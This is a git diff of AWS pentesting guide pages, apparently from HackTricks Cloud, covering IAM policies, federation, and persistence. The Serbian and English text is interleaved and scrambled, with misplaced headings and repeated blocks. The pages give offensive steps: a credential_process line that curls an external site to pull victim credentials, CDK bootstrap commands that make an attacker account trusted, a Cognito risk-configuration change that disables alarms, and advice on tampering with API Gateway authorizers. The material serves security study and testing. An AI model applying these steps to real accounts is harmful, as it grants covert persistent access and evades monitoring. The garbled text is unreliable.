Inline politike su korisne ako želite da **održite strogu jedan-na-jedan vezu između politike i identiteta** na koji se primenjuju. Na primer, želite da budete sigurni da dozvole u politici nisu nenamerno dodeljene identitetu osim onom za koji su namenjene. Kada koristite inline politiku, dozvole u politici ne mogu biti nenamerno prikačene na pogrešan identitet. Pored toga, kada koristite AWS Management Console za brisanje tog identiteta, politike ugrađene u identitet se takođe brišu. To je zato što su deo glavne entiteta.
#### Inline Policies
#### Politike Resursnog Kanta
This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
Ovo su **politike** koje se mogu definisati u **resursima**. **Nisu svi resursi AWS-a podržavaju njih**.
#### Resource Bucket Policies
Ako glavni entitet nema eksplicitnu zabranu na njih, a politika resursa im daje pristup, tada su im dozvoljeni.
These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
### IAM Granice
If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
IAM granice se mogu koristiti za **ograničavanje dozvola kojima korisnik ili uloga treba da imaju pristup**. Na ovaj način, čak i ako se korisniku dodeli drugačiji skup dozvola od **druge politike**, operacija će **neuspeti** ako pokuša da ih koristi.
### IAM Boundaries
Granica je samo politika prikačena za korisnika koja **ukazuje na maksimalni nivo dozvola koje korisnik ili uloga mogu imati**. Dakle, **čak i ako korisnik ima Administrator pristup**, ako granica ukazuje da može samo da čita S· kante, to je maksimum što može da uradi.
IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
**Ovo**, **SCP-ovi** i **pridržavanje principa minimalnih privilegija** su načini da se kontroliše da korisnici nemaju više dozvola nego što im je potrebno.
A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
### Politike Sesije
**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
Politika sesije je **politika postavljena kada se neka uloga preuzme** na neki način. Ovo će biti kao **IAM granica za tu sesiju**: To znači da politika sesije ne dodeljuje dozvole, već **ograničava ih na one koje su navedene u politici** (maksimalne dozvole su one koje uloga ima).
### Session Policies
A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
This is useful for **security measures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
Ovo je korisno za **mere bezbednosti**: Kada administrator preuzima veoma privilegovanu ulogu, može ograničiti dozvolu samo na one koje su navedene u politici sesije u slučaju da sesija bude kompromitovana.
```bash
aws sts assume-role \
--role-arn <value> \
--role-session-name <value> \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
--role-arn <value> \
--role-session-name <value> \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
```
Napomena da po defaultu **AWS može dodati politike sesije sesijama** koje će biti generisane zbog trećih razloga. Na primer, u [neautentifikovanim cognito pretpostavljenim rolama](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) po defaultu (koristeći poboljšanu autentifikaciju), AWS će generisati **akreditiv sesije sa politikom sesije** koja ograničava usluge kojima sesija može pristupiti [**na sledeću listu**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
Stoga, ako se u nekom trenutku suočite sa greškom "... jer nijedna politika sesije ne dozvoljava ...", a uloga ima pristup za izvršenje akcije, to je zato što **postoji politika sesije koja to sprečava**.
Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
### Federacija identiteta
Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
Federacija identiteta **omogućava korisnicima iz provajdera identiteta koji su eksterni** za AWS da sigurno pristupaju AWS resursima bez potrebe da dostavljaju AWS korisničke akreditive iz važećeg IAM korisničkog naloga.\
Primer provajdera identiteta može biti vaša vlastita korporativna **Microsoft Active Directory** (putem **SAML**) ili **OpenID** usluga (kao što je **Google**). Federisani pristup će tada omogućiti korisnicima unutar njega da pristupaju AWS-u.
### Identity Federation
Da biste konfigurisali ovo poverenje, generiše se **IAM provajder identiteta (SAML ili OAuth)** koji će **verovati** **drugoj platformi**. Zatim, najmanje jedna **IAM uloga se dodeljuje (verujući) provajderu identiteta**. Ako korisnik iz poverene platforme pristupi AWS-u, on će pristupati kao pomenuta uloga.
Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
Međutim, obično ćete želeti da dodelite **različitu ulogu u zavisnosti od grupe korisnika** na trećoj platformi. Tada, nekoliko **IAM uloga može verovati** trećem provajderu identiteta, a treća platforma će biti ta koja omogućava korisnicima da preuzmu jednu ili drugu ulogu.
To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
### IAM Identity Center
AWS IAM Identity Center (naslednik AWS Single Sign-On) proširuje mogućnosti AWS upravljanja identitetima i pristupom (IAM) kako bi pružio **centralno mesto** koje okuplja **administraciju korisnika i njihov pristup AWS** nalozima i cloud aplikacijama.
AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
Domen za prijavu će biti nešto poput `<user_input>.awsapps.com`.
The login domain is going to be something like `<user_input>.awsapps.com`.
Da bi se prijavili korisnici, mogu se koristiti 3 izvora identiteta:
To login users, there are 3 identity sources that can be used:
- Identity Center Directory: Redovni AWS korisnici
- Active Directory: Podržava različite konektore
- Eksterni provajder identiteta: Svi korisnici i grupe dolaze iz eksternog provajdera identiteta (IdP)
- Identity Center Directory: Regular AWS users
- Active Directory: Supports different connectors
- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
U najjednostavnijem slučaju direktorijuma Identity Center, **Identity Center će imati listu korisnika i grupa** i moći će da **dodeli politike** njima za **bilo koji od naloga** organizacije.
In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
Da biste dali pristup korisniku/grupi Identity Center-a nalogu, biće kreiran **SAML provajder identiteta koji veruje Identity Center-u**, a **uloga koja veruje provajderu identiteta sa navedenim politikama biće kreirana** u odredišnom nalogu.
In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
#### AwsSSOInlinePolicy
Moguće je **dati dozvole putem inline politika rolama kreiranim putem IAM Identity Center**. Uloge kreirane u nalozima koje dobijaju **inline politike u AWS Identity Center** će imati te dozvole u inline politici pod nazivom **`AwsSSOInlinePolicy`**.
It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
Stoga, čak i ako vidite 2 uloge sa inline politikom pod nazivom **`AwsSSOInlinePolicy`**, to **ne znači da imaju iste dozvole**.
Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
### Cross Account Trusts and Roles
**Korisnik** (verujući) može kreirati Cross Account Role sa nekim politikama i zatim, **dozvoliti drugom korisniku** (pouzdano) da **pristupi njegovom nalogu** ali samo **imajući pristup naveden u novim politikama uloge**. Da biste to kreirali, jednostavno kreirajte novu ulogu i izaberite Cross Account Role. Uloge za pristup između naloga nude dve opcije. Pružanje pristupa između AWS naloga koje posedujete, i pružanje pristupa između naloga koji posedujete i trećeg AWS naloga.\
Preporučuje se da **specificirate korisnika koji je poveren i ne stavljate nešto generičko** jer u suprotnom, drugi autentifikovani korisnici poput federisanih korisnika će takođe moći da zloupotrebe ovo poverenje.
**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
### AWS Simple AD
Nije podržano:
Not supported:
- Odnos poverenja
- Trust Relations
- AD Admin Center
- Puna PS API podrška
- Full PS API support
- AD Recycle Bin
- Grupa upravljanih servisnih naloga
- Proširenja šeme
- Nema direktan pristup OS-u ili instancama
- Group Managed Service Accounts
- Schema Extensions
- No Direct access to OS or Instances
#### Web Federation or OpenID Authentication
Aplikacija koristi AssumeRoleWithWebIdentity za kreiranje privremenih akreditiva. Međutim, ovo ne daje pristup AWS konzoli, samo pristup resursima unutar AWS-a.
The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
### Other IAM options
- Možete **postaviti podešavanje politike lozinke** kao što su minimalna dužina i zahtevi za lozinkom.
- Možete **preuzeti "Izveštaj o akreditivima"** sa informacijama o trenutnim akreditivima (kao što su vreme kreiranja korisnika, da li je lozinka omogućena...). Možete generisati izveštaj o akreditivima koliko često želite, čak i svaka **četiri sata**.
- You can **set a password policy setting** options like minimum length and password requirements.
- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
AWS upravljanje identitetima i pristupom (IAM) pruža **fino podešavanje kontrole pristupa** širom celog AWS-a. Sa IAM-om, možete specificirati **ko može pristupiti kojim uslugama i resursima**, i pod kojim uslovima. Sa IAM politikama, upravljate dozvolama za vašu radnu snagu i sisteme kako biste **osigurali dozvole sa najmanjim privilegijama**.
AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
### IAM ID Prefixes
Na [**ovoj stranici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) možete pronaći **IAM ID prefikse** ključeva u zavisnosti od njihove prirode:
In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
| Identifier Code | Description |
| --------------- | ----------------------------------------------------------------------------------------------------------- |
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ACCA | Kontekst-specifični akreditiv |
| AGPA | Grupa korisnika |
| AIDA | IAM korisnik |
| AIPA | Amazon EC2 profil instance |
| AKIA | Pristupni ključ |
| ANPA | Upravljana politika |
| ANVA | Verzija u upravljanoj politici |
| APKA | Javni ključ |
| AROA | Uloga |
| ASCA | Sertifikat |
| ASIA | [Privremeni (AWS STS) pristupni ključevi ID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) koriste ovaj prefiks, ali su jedinstveni samo u kombinaciji sa tajnim pristupnim ključem i tokenom sesije. |
| ACCA | Context-specific credential |
| AGPA | User group |
| AIDA | IAM user |
| AIPA | Amazon EC2 instance profile |
| AKIA | Access key |
| ANPA | Managed policy |
| ANVA | Version in a managed policy |
| APKA | Public key |
| AROA | Role |
| ASCA | Certificate |
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
### Recommended permissions to audit accounts
Sledeće privilegije daju različit pristup metapodacima:
The following privileges grant various read access of metadata:
- `arn:aws:iam::aws:policy/SecurityAudit`
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
@@ -350,9 +360,10 @@ Sledeće privilegije daju različit pristup metapodacima:
### CLI Authentication
Da bi regularni korisnik autentifikovao na AWS putem CLI, potrebno je imati **lokalne akreditive**. Po defaultu, možete ih konfigurisati **ručno** u `~/.aws/credentials` ili **pokretanjem** `aws configure`.\
U toj datoteci možete imati više od jednog profila, ako **nije specificiran profil** koristeći **aws cli**, koristiće se onaj nazvan **`[default]`** u toj datoteci.\
Primer datoteke akreditiva sa više od 1 profila:
In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
Example of credentials file with more than 1 profile:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -363,10 +374,12 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
Ako treba da pristupite **različitim AWS nalozima** i vašem profilu je dato pravo da **pretpostavi ulogu unutar tih naloga**, ne morate ručno pozivati STS svaki put (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) i konfigurisati akreditive.
Možete koristiti `~/.aws/config` datoteku da **naznačite koje uloge da pretpostavite** i zatim koristiti parametar `--profile` kao i obično (pretpostavljanje uloge će se izvršiti na transparentan način za korisnika).\
Primer konfiguracione datoteke:
If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
A config file example:
```
[profile acc2]
region=eu-west-2
@@ -375,30 +388,36 @@ role_session_name = <session_name>
source_profile = <profile_with_assume_role>
sts_regional_endpoints = regional
```
Sa ovom konfiguracionom datotekom možete koristiti aws cli kao:
With this config file you can then use aws cli like:
```
aws --profile acc2 ...
```
Ako tražite nešto **slično** ovome, ali za **pregledač**, možete proveriti **ekstenziju** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
#### Automatizacija privremenih akreditiva
If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
#### Automating temporary credentials
If you are exploiting an application which generates temporary credentials, it can be tedious updating them in your terminal every few minutes when they expire. This can be fixed using a `credential_process` directive in the config file. For example, if you have some vulnerable webapp, you could do:
Ako eksploatišete aplikaciju koja generiše privremene akreditive, može biti zamorno ažurirati ih u vašem terminalu svake nekoliko minuta kada isteknu. Ovo se može rešiti korišćenjem `credential_process` direktive u konfiguracionom fajlu. Na primer, ako imate neku ranjivu web aplikaciju, mogli biste uraditi:
```toml
[victim]
credential_process = curl -d 'PAYLOAD' https://some-site.com
```
Napomena da akreditivi _moraju_ biti vraćeni na STDOUT u sledećem formatu:
Note that credentials _must_ be returned to STDOUT in the following format:
```json
{
"Version": 1,
"AccessKeyId": "an AWS access key",
"SecretAccessKey": "your AWS secret access key",
"SessionToken": "the AWS session token for temporary credentials",
"Expiration": "ISO8601 timestamp when the credentials expire"
}
"Version": 1,
"AccessKeyId": "an AWS access key",
"SecretAccessKey": "your AWS secret access key",
"SessionToken": "the AWS session token for temporary credentials",
"Expiration": "ISO8601 timestamp when the credentials expire"
}
```
## Reference
## References
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)

View File

@@ -1,84 +1,87 @@
# AWS - Zloupotreba Federacije
# AWS - Federation Abuse
{{#include ../../../banners/hacktricks-training.md}}
## SAML
Za informacije o SAML-u, molimo proverite:
For info about SAML please check:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}
Da biste konfigurisali **Identitetsku Federaciju putem SAML-a**, potrebno je da obezbedite **ime** i **metadata XML** koji sadrži svu SAML konfiguraciju (**endpoints**, **sertifikat** sa javnim ključem)
In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
## OIDC - Zloupotreba Github Akcija
## OIDC - Github Actions Abuse
Da biste dodali github akciju kao provajdera identiteta:
In order to add a github action as Identity provider:
1. For _Provider type_, select **OpenID Connect**.
2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
3. Click on _Get thumbprint_ to get the thumbprint of the provider
4. For _Audience_, enter `sts.amazonaws.com`
5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
- ```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": [
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
],
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
8. Finally use a github action to configure the AWS creds to be used by the workflow:
1. Za _Tip provajdera_, izaberite **OpenID Connect**.
2. Za _URL provajdera_, unesite `https://token.actions.githubusercontent.com`
3. Kliknite na _Preuzmi otisak_ da biste dobili otisak provajdera
4. Za _Publiku_, unesite `sts.amazonaws.com`
5. Kreirajte **novu ulogu** sa **dozvolama** koje github akcija zahteva i **politiku poverenja** koja veruje provajderu kao:
- ```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": [
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
],
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
6. Obratite pažnju u prethodnoj politici kako je samo jedna **grana** iz **repozitorijuma** **organizacije** autorizovana sa specifičnim **okidačem**.
7. **ARN** **uloge** koju github akcija može da **imitira** biće "tajna" koju github akcija treba da zna, pa je **čuvajte** unutar **tajne** unutar **okruženja**.
8. Na kraju, koristite github akciju da konfigurišete AWS kredencijale koji će se koristiti u radnom toku:
```yaml
name: "test AWS Access"
# The workflow should only trigger on pull requests to the main branch
on:
pull_request:
branches:
- main
pull_request:
branches:
- main
# Required to get the ID Token that will be used for OIDC
permissions:
id-token: write
contents: read # needed for private repos to checkout
id-token: write
contents: read # needed for private repos to checkout
jobs:
aws:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
aws:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
aws-region: eu-west-1
role-to-assume:${{ secrets.READ_ROLE }}
role-session-name: OIDCSession
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
aws-region: eu-west-1
role-to-assume:${{ secrets.READ_ROLE }}
role-session-name: OIDCSession
- run: aws sts get-caller-identity
shell: bash
- run: aws sts get-caller-identity
shell: bash
```
## OIDC - EKS Abuse
```bash
# Crate an EKS cluster (~10min)
eksctl create cluster --name demo --fargate
@@ -88,34 +91,43 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
Moguće je generisati **OIDC providers** u **EKS** klasteru jednostavno postavljanjem **OIDC URL** klastera kao **novog Open ID Identity provider**. Ovo je uobičajena podrazumevana politika:
It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
}
}
}
]
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
}
}
}
]
}
```
Ova politika ispravno ukazuje da **samo** **EKS klaster** sa **id** `20C159CDF6F2349B68846BEC03BE031B` može preuzeti ulogu. Međutim, ne ukazuje koja usluga može da je preuzme, što znači da **BILO koja usluga sa web identitet tokenom** će moći da **preuzme** ulogu.
Da bi se odredilo **koja usluga bi trebala da može da preuzme ulogu,** potrebno je odrediti **uslov** gde je **ime usluge navedeno**, kao što je:
This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
## Reference
## References
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,17 +1,21 @@
# AWS - Dozvole za Pentest
# AWS - Permissions for a Pentest
{{#include ../../banners/hacktricks-training.md}}
Ovo su dozvole koje su vam potrebne na svakom AWS nalogu koji želite da auditujete kako biste mogli da pokrenete sve predložene AWS alate za audit:
These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
- Podrazumevana politika **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
- Da biste pokrenuli [aws_iam_review](https://github.com/carlospolop/aws_iam_review) takođe su vam potrebne dozvole:
- **access-analyzer:List\***
- **access-analyzer:Get\***
- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
- Opcionalno ako klijent genere analize za vas, ali obično je lakše samo zatražiti ovu dozvolu)
- **access-analyzer:DeleteAnalyzer**
- Opcionalno ako klijent uklanja analize za vas, ali obično je lakše samo zatražiti ovu dozvolu)
- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
- **access-analyzer:List\***
- **access-analyzer:Get\***
- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
- Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
- **access-analyzer:DeleteAnalyzer**
- Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,3 +1,5 @@
# AWS - Održavanje
# AWS - Persistence
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,36 @@
# AWS - API Gateway Persistence
{{#include ../../../banners/hacktricks-training.md}}
## API Gateway
For more information go to:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Resource Policy
Modify the resource policy of the API gateway(s) to grant yourself access to them
### Modify Lambda Authorizers
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
Or just remove the use of the authorizer.
### IAM Permissions
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
Or just remove the use of the authorizer.
### API Keys
If API keys are used, you could leak them to maintain persistence or even create new ones.\
Or just remove the use of API keys.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,32 +0,0 @@
# AWS - API Gateway Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## API Gateway
Za više informacija pogledajte:
{{#ref}}
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Resource Policy
Izmenite resource policy API gateway(s) da biste sebi omogućili pristup.
### Modify Lambda Authorizers
Izmenite kod lambda authorizers da biste sebi omogućili pristup svim endpoint-ima.\
Ili jednostavno uklonite korišćenje authorizera.
### IAM Permissions
Ako resurs koristi IAM authorizer, možete sebi omogućiti pristup izmenom IAM permissions.\
Ili jednostavno uklonite korišćenje authorizera.
### API Keys
Ako se koriste API keys, možete ih leak-ovati da biste održali persistence ili čak kreirali nove.\
Ili jednostavno uklonite korišćenje API keys.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,25 @@
# AWS - Cloudformation Persistence
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
For more information, access:
{{#ref}}
../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,23 +0,0 @@
# AWS - Cloudformation Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## CloudFormation
Za više informacija pogledajte:
{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
AWS CDK raspoređuje CFN stack pod nazivom `CDKToolkit`. Ovaj stack podržava parametar `TrustedAccounts` koji omogućava spoljnim nalozima da raspoređuju CDK projekte u nalog žrtve. Napadač može zloupotrebiti ovo kako bi sebi obezbedio trajan pristup nalogu žrtve, bilo korišćenjem AWS cli za ponovno raspoređivanje stack-a sa parametrima, bilo korišćenjem AWS CDK cli.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,46 @@
# AWS - Cognito Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Cognito
For more information, access:
{{#ref}}
../aws-services/aws-cognito-enum/
{{#endref}}
### User persistence
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
- **Adding a User Pool** controlled by the user to an Identity Pool
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
- Or to an **authenticated Identity Pool** if the attacker can login
- Or **improve the permissions** of the given roles
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
Check how to do these actions in
{{#ref}}
../aws-privilege-escalation/aws-cognito-privesc.md
{{#endref}}
### `cognito-idp:SetRiskConfiguration`
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
```bash
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
By default this is disabled:
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
{{#include ../../../banners/hacktricks-training.md}}

View File

